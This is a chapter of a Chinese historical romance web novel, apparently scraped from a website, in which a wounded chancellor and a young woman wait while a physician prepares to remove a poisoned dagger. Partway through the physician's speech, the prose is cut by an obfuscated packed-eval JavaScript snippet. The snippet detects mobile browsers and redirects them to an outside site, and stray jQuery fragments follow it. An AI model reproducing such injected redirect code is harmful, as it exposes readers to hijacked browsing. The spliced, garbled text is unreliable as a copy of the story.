很快,四楼上就搭好了帐篷,荀令和向晚词被抬了进去,放在了柔软的被褥上。打斗声渐渐停息,没多久暗卫首领天一来了。
“主子,人已经拿下,是无影楼的天下第一刺客‘千里不留行’。他服了毒,被卢大夫救下了。”
“问出主使,还有毒药的来历。”
“是。”
天一退下后,白管事又来了,带着几个伺候的侍从在那听候吩咐。
荀令扫了一眼,见都是男人,就说:“让伺候她的人过来,院子里候着。”
“是。”白管事一挥手,就有人下楼去了。很快青露碧荷和几个仆妇过来了,还带了一大箱用品来。
藏书楼里多了许多人,却还是静悄悄的。荀府的规矩严,荀令喜欢清静,下人们平时都不敢高声说话。
——
向晚词迷迷糊糊地醒来时,就在帐篷里,身边有温热的身体。她吓了一跳,顿时清醒过来,朝旁边望去,就看到了荀令。他面色苍白,嘴唇带着青色,身上血迹斑斑,正靠在软垫上闭目养神。
“你怎么还没有治伤?”
话一出口,向晚词才发现,自己的手还按在他胸口的伤上,伤口被挡住了,自然治不了。
她下意识就想收回手,一动,两人同时吸气。
方才情势紧急,她大半精力都放在了应付突发情况上了,即便感觉到疼痛也不敢多关注。现在没事了,身上伤口的痛顿时全部钻了出来。
她朝疼痛处看去,自己的右手上正插着一柄蓝汪汪的淬毒短剑。看到那柄寒光森森的短剑,向晚词不由自主地抖了一下,马上移开视线不再看。
一只手伸过来,搭在她微微颤抖的指尖上,冰凉的温度传到她指尖,清淡的声音也传来:“别怕,很快就会取出来的。”
向晚词深吸一口气,说:“没事,我不怕,反正已经刺进去了,最糟糕的时候已经过去了。”
一声轻笑传来,那只手轻轻拍了拍她的手,带着无声的安抚。
“让卢大夫进来。”
“是。”
很快卢大夫来了,他把早就准备好的麻沸散递给向晚词。向晚词侧身低头,掀开一点帽纱,把药吃了。荀令也吃了麻沸散。
一刻钟后,药力发作,两人都不大感觉到痛了。
卢大夫要先分开两人,荀令指指那柄剑,语声平淡:“先拔剑。”
“可是相爷,这位姑娘的手按在您心口的伤上,要是拔剑的时候有闪失,她无意间按到了您的伤口,那可是心口上的伤啊。”
荀令没说话,看了他一眼,卢大夫马上闭嘴,准备拔剑。
听到卢大夫的话,向晚词说:“那先分开吧,拔剑的时候我怕我忍不住了手会抖的。”
闻言,卢大夫站在那里,一时不知道该先干嘛。
你们两人能不能商量好了再来跟老夫说?
荀令朝向晚词望去,她也看过来。两人隔着帽纱对望,谁都没说话。
过了好一会儿,向晚词问:“要不,猜拳?”
“可以。”
卢大夫神色复杂,看着向来喜怒不形于色的丞相跟那姑娘在那猜拳,都快要误以为自己是做梦没醒了,不然怎会看见这么荒谬的一幕?
“哎呀,输了,差一点就赢了。”向晚词放下手,有些可惜地说道。
卢大夫摇了摇头,回回神,上前来准备给向晚词拔剑。
向晚词侧过头去,不敢看拔剑的过程。侧过头去后,她嘴里不住念,不疼不疼不疼,有麻沸散麻沸散麻沸散……
卢大夫想笑,竭力忍住了,把注意力都集中到剑上。
一只手伸过来,握住了她有些僵硬冰凉的左手。向晚词一呆,回过头去,荀令正望着她,目光甚是温和,隐隐带着鼓励和抚慰。不知为什么,向晚词顿时就放松了下来,手也没那么僵硬了。
卢大夫观察了一会儿,脸色有些凝重。
“相爷,这剑中似乎有机关,如果
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127956|180139||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
直接往外拔的话,剑锋上可能会有倒刺弹出。”
“要如何处理?”
“保险起见,得切开伤口,再把剑取出来。”
听到这话,向晚词抖了一下,握着她的手轻轻捏了捏她。
“伤口有多深?需要切开多宽?会不会有后遗症?愈合后能不能不留疤痕?”
“不深,不到半指深,要剖开一指宽。老夫尽力而为,有六成把握不留后遗症。至于疤痕,老夫能配置祛疤药膏,能不能祛除,得看这位姑娘自己的身体状况,老夫不能保证。必须快点取出剑,不然毒一直留在伤口里,老夫也无法完全祛毒。”
荀令看着向晚词。
向晚词犹豫了一下,点头。
荀令看向卢大夫,道:“马上取剑。”
此言一出,向晚词立刻闭上眼睛,手不自觉收紧。握着她的那只手也紧了紧,两人交握的手再没一丝缝隙,彼此的温度传递到对方那里。
感觉到握着的手汗湿一片,荀令开口了:“有没有听过遮莫遮莫毗卢?”
“我只听过遮莫、毗卢遮那,遮莫遮莫毗卢是什么?”
“你觉得是什么意思?”
“我不知道,我不太懂佛经。”
“你不是给人家抄了很多经?”
“是啊,可抄是抄,懂是懂,抄了不一定懂。庙里的和尚天天念经,也没几个敢说自己懂了。”
“这个很好懂。”
“那是什么?”
“就是……”
荀令放低了声音,向晚词不由睁眼,凑过去一点,想要听清他说的话。
等她凑过来,荀令才低声开口:“我随口编的。”
“啊?”向晚词怀疑自己听错了。
荀令不急不慢,又重复了一遍:“我随口编的。”
向晚词看着他,一时间不知道该说什么。
荀令轻轻握了握她的手,朝那边扬扬下巴。向晚词侧头望去,不由啊了一声。